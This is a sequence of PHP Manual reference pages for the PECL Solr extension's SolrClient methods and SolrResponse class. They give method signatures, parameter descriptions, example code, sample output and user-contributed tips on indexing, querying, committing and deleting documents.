以上示例的输出类似于：

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
        )

)

Example #2 SolrClient::addDocument() example 2

<?php

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

// No need to call commit() because $commitWithin is passed, so Solr Server will auto commit within 10 seconds
$updateResponse = $client->addDocument($doc, false, 10000);

print_r($updateResponse->getResponse());

?>

以上示例的输出类似于：

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
        )

)

参见

  • SolrClient::addDocuments() - Adds a collection of SolrInputDocument instances to the index
  • SolrClient::commit() - Finalizes all add/deletes made to the index

User Contributed Notes

There are no user contributed notes for this page.


Adds a collection of SolrInputDocument instances to the index

  • ? SolrClient::addDocument
  • SolrClient::commit ?
  • PHP Manual
  • SolrClient
  • Adds a collection of SolrInputDocument instances to the index

SolrClient::addDocuments

(PECL solr >= 0.9.2)

SolrClient::addDocuments — Adds a collection of SolrInputDocument instances to the index

说明

public SolrClient::addDocuments(array $docs, bool $overwrite = true, int $commitWithin = 0): void

Adds a collection of documents to the index.

参数

docs

An array containing the collection of SolrInputDocument instances. This array must be an actual variable.

overwrite

Whether to overwrite existing documents or not. If false there will be duplicates (several documents with the same ID).

Warning

PECL Solr < 2.0 $allowDups was used instead of $overwrite, which does the same functionality with exact opposite bool flag.

$allowDups = false is the same as $overwrite = true

commitWithin

Number of milliseconds within which to auto commit this document. Available since Solr 1.4 . Default (0) means disabled.

When this value specified, it leaves the control of when to do the commit to Solr itself, optimizing number of commits to a minimum while still fulfilling the update latency requirements, and Solr will automatically do a commit when the oldest add in the buffer is due.

返回值

Returns a SolrUpdateResponse object or throws an exception on failure.

错误／异常

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

示例

Example #1 SolrClient::addDocuments() example

<?php

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

$doc2 = clone $doc;

$doc2->deleteField('id');
$doc2->addField('id', 334456);

$docs = array($doc, $doc2);

$updateResponse = $client->addDocuments($docs);

// no changes will be written to disk unless $commitWithin is passed or SolrClient::commit is called

print_r($updateResponse->getResponse());

?>

以上示例的输出类似于：

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 2
        )

)

参见

  • SolrClient::addDocument() - Adds a document to the index
  • SolrClient::commit() - Finalizes all add/deletes made to the index

User Contributed Notes

bjorn at bjorn-erik dot biz 23-Sep-2010 06:07
If you want to add a bunch of documents from a database, this would be the way to go, assuming you have fetched the records from the database and put them in an array called $recordset:

<?php
foreach ($recordset as $key=>$value){
   $docs_array[$key] = new SolrInputDocument();
   $docs_array[$key]->addField('id', $value['document_id']);
   $docs_array[$key]->addField('name',$value['document_name']);
}
$client->addDocuments($docs_array);
?>


Finalizes all add/deletes made to the index

  • ? SolrClient::addDocuments
  • SolrClient::__construct ?
  • PHP Manual
  • SolrClient
  • Finalizes all add/deletes made to the index

SolrClient::commit

(PECL solr >= 0.9.2)

SolrClient::commit — Finalizes all add/deletes made to the index

说明

public SolrClient::commit(bool $softCommit = false, bool $waitSearcher = true, bool $expungeDeletes = false): SolrUpdateResponse

This method finalizes all add/deletes made to the index.

参数

softCommit

This will refresh the 'view' of the index in a more performant manner, but without "on-disk" guarantees. (Solr4.0+)

A soft commit is much faster since it only makes index changes visible and does not fsync index files or write a new index descriptor. If the JVM crashes or there is a loss of power, changes that occurred after the last hard commit will be lost. Search collections that have near-real-time requirements (that want index changes to be quickly visible to searches) will want to soft commit often but hard commit less frequently.

waitSearcher

block until a new searcher is opened and registered as the main query searcher, making the changes visible.

expungeDeletes

Merge segments with deletes away. (Solr1.4+)

返回值

Returns a SolrUpdateResponse object on success or throws an exception on failure.

错误／异常

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

更新日志

版本 | 说明
PECL solr 1.1.0, 2.0.0 | $maxSegments removed
PECL solr 2.0.0b | API Changed: SolrClient::commit ([ int $maxSegments = 0 [, bool $softCommit = false [, bool $waitSearcher = true[, bool $expungeDeletes = false ]]] )
PECL solr 0.9.2 | Signature: SolrClient::commit ([ int $maxSegments = 1 [, bool $waitFlush = true [, bool $waitSearcher = true ]]] ). $waitFlush: Block until index changes are flushed to disk.

注释

Warning

PECL Solr >= 2.0 only supports Solr Server >= 4.0

参见

  • SolrClient::optimize() - Defragments the index
  • SolrClient::rollback() - Rollbacks all add/deletes made to the index since the last commit

User Contributed Notes

jason at jasonplayne dot com 03-Jan-2013 05:53
Go easy on your use of commit - use the <autocommit /> section solrconfig.xml instead.

Also consider using optimize() once a day if you are doing lots of adds/removes.


Constructor for the SolrClient object

  • ? SolrClient::commit
  • SolrClient::deleteById ?
  • PHP Manual
  • SolrClient
  • Constructor for the SolrClient object

SolrClient::__construct

(PECL solr >= 0.9.2)

SolrClient::__construct — Constructor for the SolrClient object

说明

public SolrClient::__construct(array $clientOptions)

Constructor for the SolrClient object

参数

clientOptions

This is an array containing one of the following keys :

- secure          (Boolean value indicating whether or not to connect in secure mode)
 - hostname        (The hostname for the Solr server)
 - port            (The port number)
 - path            (The path to solr)
 - wt              (The name of the response writer e.g. xml, json)
 - login           (The username used for HTTP Authentication, if any)
 - password        (The HTTP Authentication password)
 - proxy_host      (The hostname for the proxy server, if any)
 - proxy_port      (The proxy port)
 - proxy_login     (The proxy username)
 - proxy_password  (The proxy password)
 - timeout         (This is maximum time in seconds allowed for the http data transfer operation. Default is 30 seconds)
 - ssl_cert        (File name to a PEM-formatted file containing the private key + private certificate (concatenated in that order) )
 - ssl_key         (File name to a PEM-formatted private key file only)
 - ssl_keypassword (Password for private key)
 - ssl_cainfo      (Name of file holding one or more CA certificates to verify peer with)
 - ssl_capath      (Name of directory holding multiple CA certificates to verify peer with )

 Please note the if the ssl_cert file only contains the private certificate, you have to specify a separate ssl_key file

 The ssl_keypassword option is required if the ssl_cert or ssl_key options are set.

错误／异常

Throws SolrIllegalArgumentException on failure.

示例

Example #1 SolrClient::__construct() example

<?php

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
'path' => SOLR_PATH_TO_SOLR,
'wt' => 'xml',
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

$updateResponse = $client->addDocument($doc);

?>

以上示例的输出类似于：

参见

  • SolrClient::getOptions() - Returns the client options set internally

User Contributed Notes

edwardtam at et-it dot net 12-Aug-2015 07:50
you can use 'path' to specify the 'core'.

<?php
    $core = 'dictionary';

    $solr_server = array
    (
        'hostname'     => 'localhost',
        'port'         => '8983',
        'path'         => 'solr/' . $core,
    );
    $solr_client = new SolrClient($solr_server);
?>


Delete by Id

  • ? SolrClient::__construct
  • SolrClient::deleteByIds ?
  • PHP Manual
  • SolrClient
  • Delete by Id

SolrClient::deleteById

(PECL solr >= 0.9.2)

SolrClient::deleteById — Delete by Id

说明

public SolrClient::deleteById(string $id): SolrUpdateResponse

Deletes the document with the specified ID. Where ID is the value of the uniqueKey field declared in the schema

参数

id

The value of the uniqueKey field declared in the schema

返回值

Returns a SolrUpdateResponse on success and throws an exception on failure.

错误／异常

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

参见

  • SolrClient::deleteByIds() - Deletes by Ids
  • SolrClient::deleteByQuery() - Deletes all documents matching the given query
  • SolrClient::deleteByQueries() - Removes all documents matching any of the queries

User Contributed Notes

litzinger at gmail dot com 22-Aug-2011 02:47
May need to run commit() after a delete query.

<?php
$this->solrClient->deleteByQuery('id:'.$entryId);
$result = $this->solrClient->commit();
?>


Deletes by Ids

  • ? SolrClient::deleteById
  • SolrClient::deleteByQueries ?
  • PHP Manual
  • SolrClient
  • Deletes by Ids

SolrClient::deleteByIds

(PECL solr >= 0.9.2)

SolrClient::deleteByIds — Deletes by Ids

说明

public SolrClient::deleteByIds(array $ids): SolrUpdateResponse

Deletes a collection of documents with the specified set of ids.

参数

ids

An array of IDs representing the uniqueKey field declared in the schema for each document to be deleted. This must be an actual php variable.

返回值

Returns a SolrUpdateResponse on success and throws an exception on failure.

错误／异常

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

参见

  • SolrClient::deleteById() - Delete by Id
  • SolrClient::deleteByQuery() - Deletes all documents matching the given query
  • SolrClient::deleteByQueries() - Removes all documents matching any of the queries

User Contributed Notes

There are no user contributed notes for this page.


Removes all documents matching any of the queries

  • ? SolrClient::deleteByIds
  • SolrClient::deleteByQuery ?
  • PHP Manual
  • SolrClient
  • Removes all documents matching any of the queries

SolrClient::deleteByQueries

(PECL solr >= 0.9.2)

SolrClient::deleteByQueries — Removes all documents matching any of the queries

说明

public SolrClient::deleteByQueries(array $queries): SolrUpdateResponse

Removes all documents matching any of the queries

参数

queries

The array of queries. This must be an actual php variable.

返回值

Returns a SolrUpdateResponse on success and throws a SolrClientException on failure.

错误／异常

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

参见

  • SolrClient::deleteById() - Delete by Id
  • SolrClient::deleteByIds() - Deletes by Ids
  • SolrClient::deleteByQuery() - Deletes all documents matching the given query

User Contributed Notes

There are no user contributed notes for this page.


Deletes all documents matching the given query

  • ? SolrClient::deleteByQueries
  • SolrClient::__destruct ?
  • PHP Manual
  • SolrClient
  • Deletes all documents matching the given query

SolrClient::deleteByQuery

(PECL solr >= 0.9.2)

SolrClient::deleteByQuery — Deletes all documents matching the given query

说明

public SolrClient::deleteByQuery(string $query): SolrUpdateResponse

Deletes all documents matching the given query.

参数

query

The query

返回值

Returns a SolrUpdateResponse on success and throws an exception on failure.

错误／异常

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

示例

Example #1 SolrQuery::deleteByQuery() example

<?php

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

//This will erase the entire index
$client->deleteByQuery("*:*");
$client->commit();

?>

参见

  • SolrClient::deleteById() - Delete by Id
  • SolrClient::deleteByIds() - Deletes by Ids
  • SolrClient::deleteByQueries() - Removes all documents matching any of the queries

User Contributed Notes

There are no user contributed notes for this page.


Destructor for SolrClient

  • ? SolrClient::deleteByQuery
  • SolrClient::getById ?
  • PHP Manual
  • SolrClient
  • Destructor for SolrClient

SolrClient::__destruct

(PECL solr >= 0.9.2)

SolrClient::__destruct — Destructor for SolrClient

说明

public SolrClient::__destruct()

Destructor

参数

此函数没有参数。

返回值

Destructor for SolrClient

参见

  • SolrClient::__construct() - Constructor for the SolrClient object

User Contributed Notes

There are no user contributed notes for this page.


Get Document By Id. Utilizes Solr Realtime Get (RTG)

  • ? SolrClient::__destruct
  • SolrClient::getByIds ?
  • PHP Manual
  • SolrClient
  • Get Document By Id. Utilizes Solr Realtime Get (RTG)

SolrClient::getById

(PECL solr >= 2.2.0)

SolrClient::getById — Get Document By Id. Utilizes Solr Realtime Get (RTG)

说明

public SolrClient::getById(string $id): SolrQueryResponse

Get Document By Id. Utilizes Solr Realtime Get (RTG).

参数

id

Document ID

返回值

SolrQueryResponse

示例

Example #1 SolrClient::getById() example

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
'path' => SOLR_SERVER_PATH
);

$client = new SolrClient($options);
$response = $client->getById('GB18030TEST');
print_r($response->getResponse());

?>

以上示例的输出类似于：

SolrObject Object
(
    [doc] => SolrObject Object
        (
            [id] => GB18030TEST
            [name] => Array
                (
                    [0] => Test with some GB18030 encoded characters
                )

            [features] => Array
                (
                    [0] => No accents here
                    [1] => 这是一个功能
                    [2] => This is a feature (translated)
                    [3] => 这份文件是很有光泽
                    [4] => This document is very shiny (translated)
                )

            [price] => Array
                (
                    [0] => 0
                )

            [inStock] => Array
                (
                    [0] => 1
                )

            [_version_] => 1510294336239042560
        )

)

参见

  • SolrClient::getByIds() - Get Documents by their Ids. Utilizes Solr Realtime Get (RTG)

User Contributed Notes

There are no user contributed notes for this page.


Get Documents by their Ids. Utilizes Solr Realtime Get (RTG)

  • ? SolrClient::getById
  • SolrClient::getDebug ?
  • PHP Manual
  • SolrClient
  • Get Documents by their Ids. Utilizes Solr Realtime Get (RTG)

SolrClient::getByIds

(PECL solr >= 2.2.0)

SolrClient::getByIds — Get Documents by their Ids. Utilizes Solr Realtime Get (RTG)

说明

public SolrClient::getByIds(array $ids): SolrQueryResponse

Get Documents by their Ids. Utilizes Solr Realtime Get (RTG).

参数

ids

Document ids

返回值

SolrQueryResponse

示例

Example #1 SolrClient::getByIds() example

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
'path' => SOLR_SERVER_PATH
);

$client = new SolrClient($options);
$response = $client->getByIds(['GB18030TEST', '6H500F0']);

print_r($response->getResponse());

?>

以上示例的输出类似于：

SolrObject Object
(
    [response] => SolrObject Object
        (
            [numFound] => 2
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrObject Object
                        (
                            [id] => GB18030TEST
                            [name] => Array
                                (
                                    [0] => Test with some GB18030 encoded characters
                                )

                            [features] => Array
                                (
                                    [0] => No accents here
                                    [1] => 这是一个功能
                                    [2] => This is a feature (translated)
                                    [3] => 这份文件是很有光泽
                                    [4] => This document is very shiny (translated)
                                )

                            [price] => Array
                                (
                                    [0] => 0
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [_version_] => 1510294336239042560
                        )

                    [1] => SolrObject Object
                        (
                            [id] => 6H500F0
                            [name] => Array
                                (
                                    [0] => Maxtor DiamondMax 11 - hard drive - 500 GB - SATA-300
                                )

                            [manu] => Array
                                (
                                    [0] => Maxtor Corp.
                                )

                            [manu_id_s] => maxtor
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => hard drive
                                )

                            [features] => Array
                                (
                                    [0] => SATA 3.0Gb/s, NCQ
                                    [1] => 8.5ms seek
                                    [2] => 16MB cache
                                )

                            [price] => Array
                                (
                                    [0] => 350
                                )

                            [popularity] => Array
                                (
                                    [0] => 6
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [store] => Array
                                (
                                    [0] => 45.17614,-93.87341
                                )

                            [manufacturedate_dt] => 2006-02-13T15:26:37Z
                            [_version_] => 1510294336449806336
                        )

                )

        )

)

参见

  • SolrClient::getById() - Get Document By Id. Utilizes Solr Realtime Get (RTG)

User Contributed Notes

There are no user contributed notes for this page.


Returns the debug data for the last connection attempt

  • ? SolrClient::getByIds
  • SolrClient::getOptions ?
  • PHP Manual
  • SolrClient
  • Returns the debug data for the last connection attempt

SolrClient::getDebug

(PECL solr >= 0.9.7)

SolrClient::getDebug — Returns the debug data for the last connection attempt

说明

public SolrClient::getDebug(): string

Returns the debug data for the last connection attempt

参数

此函数没有参数。

返回值

Returns a string on success and null if there is nothing to return.

User Contributed Notes

There are no user contributed notes for this page.


Returns the client options set internally

  • ? SolrClient::getDebug
  • SolrClient::optimize ?
  • PHP Manual
  • SolrClient
  • Returns the client options set internally

SolrClient::getOptions

(PECL solr >= 0.9.6)

SolrClient::getOptions — Returns the client options set internally

说明

public SolrClient::getOptions(): array

Returns the client options set internally. Very useful for debugging. The values returned are readonly and can only be set when the object is instantiated.

参数

此函数没有参数。

返回值

Returns an array containing all the options for the SolrClient object set internally.

参见

  • SolrClient::__construct() - Constructor for the SolrClient object

User Contributed Notes

There are no user contributed notes for this page.


Defragments the index

  • ? SolrClient::getOptions
  • SolrClient::ping ?
  • PHP Manual
  • SolrClient
  • Defragments the index

SolrClient::optimize

(PECL solr >= 0.9.2)

SolrClient::optimize — Defragments the index

说明

public SolrClient::optimize(int $maxSegments = 1, bool $softCommit = true, bool $waitSearcher = true): SolrUpdateResponse

Defragments the index for faster search performance.

参数

maxSegments

Optimizes down to at most this number of segments. Since Solr 1.3

softCommit

This will refresh the 'view' of the index in a more performant manner, but without "on-disk" guarantees. (Solr4.0+)

waitSearcher

Block until a new searcher is opened and registered as the main query searcher, making the changes visible.

返回值

Returns a SolrUpdateResponse on success or throws an exception on failure.

错误／异常

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

注释

Warning

PECL Solr >= 2.0 only supports Solr Server >= 4.0

Prior to PECL Solr 2.0 this method used to accept these arguments "int $maxSegments, bool $waitFlush, bool $waitSearcher".

参见

  • SolrClient::commit() - Finalizes all add/deletes made to the index
  • SolrClient::rollback() - Rollbacks all add/deletes made to the index since the last commit

User Contributed Notes

There are no user contributed notes for this page.


Checks if Solr server is still up

  • ? SolrClient::optimize
  • SolrClient::query ?
  • PHP Manual
  • SolrClient
  • Checks if Solr server is still up

SolrClient::ping

(PECL solr >= 0.9.2)

SolrClient::ping — Checks if Solr server is still up

说明

public SolrClient::ping(): SolrPingResponse

Checks if the Solr server is still alive. Sends a HEAD request to the Apache Solr server.

参数

此函数没有参数。

返回值

Returns a SolrPingResponse object on success and throws an exception on failure.

错误／异常

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to satisfy the request.

示例

Example #1 SolrClient::ping() example

<?php
$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$pingresponse = $client->ping();

?>

以上示例的输出类似于：

User Contributed Notes

ricardo at forleven dot com 28-Jul-2017 04:39
class Search extends Solr
{
    protected $searchEngine;

    function __construct()
    {
        $this->searchEngine = $this->connect();
    }

    public function checkAlive()
    {
        $searchEngine = $this->searchEngine;

        if($searchEngine->ping())
        {
            return true;
        }
        else
        {
            return false;
        }
    }
}


Sends a query to the server

  • ? SolrClient::ping
  • SolrClient::request ?
  • PHP Manual
  • SolrClient
  • Sends a query to the server

SolrClient::query

(PECL solr >= 0.9.2)

SolrClient::query — Sends a query to the server

说明

public SolrClient::query(SolrParams $query): SolrQueryResponse

Sends a query to the server.

参数

query

A SolrParams object. It is recommended to use SolrQuery for advanced queries.

返回值

Returns a SolrQueryResponse object on success and throws an exception on failure.

错误／异常

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to satisfy the query.

示例

Example #1 SolrClient::query() example

<?php

$options = array
(
'hostname' => 'localhost',
'login' => 'username',
'password' => 'password',
'port' => '8983',
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery('lucene');

$query->setStart(0);

$query->setRows(50);

$query->addField('cat')->addField('features')->addField('id')->addField('timestamp');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response);

?>

以上示例的输出类似于：

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 3
            [params] => SolrObject Object
                (
                    [fl] => cat,features,id,timestamp
                    [indent] => on
                    [start] => 0
                    [q] => lucene
                    [wt] => xml
                    [version] => 2.2
                    [rows] => 50
                )

        )

    [response] => SolrObject Object
        (
            [numFound] => 1
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrObject Object
                        (
                            [id] => SOLR1000
                            [cat] => Array
                                (
                                    [0] => software
                                    [1] => search
                                )

                            [features] => Array
                                (
                                    [0] => Advanced Full-Text Search Capabilities using Lucene
                                    [1] => Optimized for High Volume Web Traffic
                                    [2] => Standards Based Open Interfaces - XML and HTTP
                                    [3] => Comprehensive HTML Administration Interfaces
                                    [4] => Scalability - Efficient Replication to other Solr Search Servers
                                    [5] => Flexible and Adaptable with XML configuration and Schema
                                    [6] => Good unicode support: héllo (hello with an accent over the e)
                                )

                        )

                )

        )

)

User Contributed Notes

There are no user contributed notes for this page.


Sends a raw update request

  • ? SolrClient::query
  • SolrClient::rollback ?
  • PHP Manual
  • SolrClient
  • Sends a raw update request

SolrClient::request

(PECL solr >= 0.9.2)

SolrClient::request — Sends a raw update request

说明

public SolrClient::request(string $raw_request): SolrUpdateResponse

Sends a raw XML update request to the server

参数

raw_request

An XML string with the raw request to the server.

返回值

Returns a SolrUpdateResponse on success. Throws an exception on failure.

错误／异常

Throws SolrIllegalArgumentException if raw_request was an empty string

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to satisfy the query.

示例

Example #1 SolrClient::request() example

<?php
$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$update_response = $client->request("<commit/>");

$response = $update_response->getResponse();

print_r($response);
?>

以上示例的输出类似于：

...

User Contributed Notes

There are no user contributed notes for this page.


Rollbacks all add/deletes made to the index since the last commit

  • ? SolrClient::request
  • SolrClient::setResponseWriter ?
  • PHP Manual
  • SolrClient
  • Rollbacks all add/deletes made to the index since the last commit

SolrClient::rollback

(PECL solr >= 0.9.2)

SolrClient::rollback — Rollbacks all add/deletes made to the index since the last commit

说明

public SolrClient::rollback(): SolrUpdateResponse

Rollbacks all add/deletes made to the index since the last commit. It neither calls any event listeners nor creates a new searcher.

参数

此函数没有参数。

返回值

Returns a SolrUpdateResponse on success or throws a SolrClientException on failure.

参见

  • SolrClient::commit() - Finalizes all add/deletes made to the index
  • SolrClient::optimize() - Defragments the index

User Contributed Notes

There are no user contributed notes for this page.


Sets the response writer used to prepare the response from Solr

  • ? SolrClient::rollback
  • SolrClient::setServlet ?
  • PHP Manual
  • SolrClient
  • Sets the response writer used to prepare the response from Solr

SolrClient::setResponseWriter

(PECL solr >= 0.9.11)

SolrClient::setResponseWriter — Sets the response writer used to prepare the response from Solr

说明

public SolrClient::setResponseWriter(string $responseWriter): void

Sets the response writer used to prepare the response from Solr

参数

responseWriter

One of the following:

  • json
  • phps
  • xml

返回值

没有返回值。

示例

Example #1 SolrClient::setResponseWriter() example

<?php

// This is my custom class for objects
class SolrClass
{
public $_properties = array();

public function __get($property_name) {

if (property_exists($this, $property_name)) {

return $this->$property_name;

} else if (isset($_properties[$property_name])) {

return $_properties[$property_name];
}

return null;
}
}

$options = array
(
'hostname' => 'localhost',
'port' => 8983,
'path' => '/solr/core1'
);

$client = new SolrClient($options);

$client->setResponseWriter("json");

//$response = $client->ping();

$query = new SolrQuery();

$query->setQuery("*:*");

$query->set("objectClassName", "SolrClass");

$query->set("objectPropertiesStorageMode", 1); // 0 for independent properties, 1 for combined

try
{

$response = $client->query($query);

$resp = $response->getResponse();

print_r($response);

print_r($resp);

} catch (Exception $e) {

print_r($e);

}

?>

User Contributed Notes

edwardtam at et-it dot net 12-Aug-2015 07:44
i found that 'php' is also supported.

<?php
$solr_server = array
(
    'hostname'     => $solr_hostname,
    'port'         => $solr_port,
    'path'         => $solr_path,
);
$solr_client = new SolrClient($solr_server);

$solr_response_writer = 'php'; // "wt"
$solr_client->setResponseWriter($solr_response_writer);

$solr_response = new SolrObject();

$solr_query = new SolrQuery();
$solr_query->setQuery($solr_query_string); // "q"

try {
    $query_response = $solr_client->query($solr_query);
    $solr_response = $query_response->getResponse();
    return '';
} catch (Exception $e) {
    return ($e);
}
?>

php_error.log keeps on saying:

[12-Aug-2015 12:34:56 Asia/Hong_Kong] PHP Warning:  SolrClient::setResponseWriter(): Unsupported response writer php. This value will be ignored in C:\www\...\solr.php on line 21

but the returned data is good as expected:

<?php
$html .= '<table cellSpacing="1" cellPadding="1" border="1">';
$html .= '<tr>';
$html .= '<td>id</td>';
$html .= '<td>title</td>';
$html .= '<td>score</td>';
$html .= '</tr>';

for ($i_solr = 0; $i_solr <= ($solr_rows - 1); $i_solr++) {
    $html .= '<tr>';
    $html .= '<td>' . $solr_response['response']['docs'][$i_solr]['id'] . '</td>';
    $html .= '<td>' . $solr_response['response']['docs'][$i_solr]['title'][0] . '</td>';
    $html .= '<td>' . $solr_response['response']['docs'][$i_solr]['score'] . '</td>';
    $html .= '</tr>';
}
$html .= '</table>';
echo $html;
?>


Changes the specified servlet type to a new value

  • ? SolrClient::setResponseWriter
  • SolrClient::system ?
  • PHP Manual
  • SolrClient
  • Changes the specified servlet type to a new value

SolrClient::setServlet

(PECL solr >= 0.9.2)

SolrClient::setServlet — Changes the specified servlet type to a new value

说明

public SolrClient::setServlet(int $type, string $value): bool

Changes the specified servlet type to a new value

参数

type

One of the following :

- SolrClient::SEARCH_SERVLET_TYPE
 - SolrClient::UPDATE_SERVLET_TYPE
 - SolrClient::THREADS_SERVLET_TYPE
 - SolrClient::PING_SERVLET_TYPE
 - SolrClient::TERMS_SERVLET_TYPE

value

The new value for the servlet

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Retrieve Solr Server information

  • ? SolrClient::setServlet
  • SolrClient::threads ?
  • PHP Manual
  • SolrClient
  • Retrieve Solr Server information

SolrClient::system

(PECL solr >= 2.0.0)

SolrClient::system — Retrieve Solr Server information

说明

public SolrClient::system(): void

Retrieve Solr Server information

参数

此函数没有参数。

返回值

Returns a SolrGenericResponse object on success.

错误／异常

Emits SolrClientException if the client failed, or there was a connection issue.

Emits SolrServerException if the Solr Server failed to satisfy the query.

User Contributed Notes

There are no user contributed notes for this page.


Checks the threads status

  • ? SolrClient::system
  • SolrResponse ?
  • PHP Manual
  • SolrClient
  • Checks the threads status

SolrClient::threads

(PECL solr >= 0.9.2)

SolrClient::threads — Checks the threads status

说明

public SolrClient::threads(): void

Checks the threads status

参数

此函数没有参数。

返回值

Returns a SolrGenericResponse object.

错误／异常

Throws SolrClientException if the client failed, or there was a connection issue.

throws SolrServerException if the Solr Server failed to process the request.

User Contributed Notes

There are no user contributed notes for this page.


The SolrResponse class

(PECL solr >= 0.9.2)

简介

Represents a response from the Solr server.

类摘要

abstract class SolrResponse {
/* 常量 */
const int PARSE_SOLR_OBJ = 0;
const int PARSE_SOLR_DOC = 1;
/* 属性 */
protected int $http_status;
protected int $parser_mode;
protected bool $success;
protected string $http_status_message;
protected string $http_request_url;
protected string $http_raw_request_headers;
protected string $http_raw_request;
protected string $http_raw_response_headers;
protected string $http_raw_response;
protected string $http_digested_response;
/* 方法 */
public getDigestedResponse(): string
public getHttpStatus(): int
public getHttpStatusMessage(): string
public getRawRequest(): string
public getRawRequestHeaders(): string
public getRawResponse(): string
public getRawResponseHeaders(): string
public getRequestUrl(): string
public getResponse(): SolrObject
public setParseMode(int $parser_mode = 0): bool
public success(): bool
}

属性

http_status

The http status of the response.

parser_mode

Whether to parse the solr documents as SolrObject or SolrDocument instances.

success

Was there an error during the request

http_status_message

Detailed message on http status

http_request_url

The request URL

http_raw_request_headers

A string of raw headers sent during the request.

http_raw_request

The raw request sent to the server

http_raw_response_headers

Response headers from the Solr server.

http_raw_response

The response message from the server.

http_digested_response

The response in PHP serialized format.

预定义常量

SolrResponse Class Constants

SolrResponse::PARSE_SOLR_OBJ

Documents should be parsed as SolrObject instances

SolrResponse::PARSE_SOLR_DOC

Documents should be parsed as SolrDocument instances.

Table of Contents

  • SolrResponse::getDigestedResponse — Returns the XML response as serialized PHP data
  • SolrResponse::getHttpStatus — Returns the HTTP status of the response
  • SolrResponse::getHttpStatusMessage — Returns more details on the HTTP status
  • SolrResponse::getRawRequest — Returns the raw request sent to the Solr server
  • SolrResponse::getRawRequestHeaders — Returns the raw request headers sent to the Solr server
  • SolrResponse::getRawResponse — Returns the raw response from the server
  • SolrResponse::getRawResponseHeaders — Returns the raw response headers from the server
  • SolrResponse::getRequestUrl — Returns the full URL the request was sent to
  • SolrResponse::getResponse — Returns a SolrObject representing the XML response from the server
  • SolrResponse::setParseMode — Sets the parse mode
  • SolrResponse::success — Was the request a success

User Contributed Notes

There are no user contributed notes for this page.


Returns the XML response as serialized PHP data

  • ? SolrResponse
  • SolrResponse::getHttpStatus ?
  • PHP Manual
  • SolrResponse
  • Returns the XML response as serialized PHP data

SolrResponse::getDigestedResponse

(PECL solr >= 0.9.2)

SolrResponse::getDigestedResponse — Returns the XML response as serialized PHP data

说明

public SolrResponse::getDigestedResponse(): string

Returns the XML response as serialized PHP data

参数

此函数没有参数。

返回值

Returns the XML response as serialized PHP data

User Contributed Notes

There are no user contributed notes for this page.


Returns the HTTP status of the response

  • ? SolrResponse::getDigestedResponse
  • SolrResponse::getHttpStatusMessage ?
  • PHP Manual
  • SolrResponse
  • Returns the HTTP status of the response

SolrResponse::getHttpStatus

(PECL solr >= 0.9.2)

SolrResponse::getHttpStatus — Returns the HTTP status of the response

说明

public SolrResponse::getHttpStatus(): int

Returns the HTTP status of the response.

参数

此函数没有参数。

返回值

Returns the HTTP status of the response.

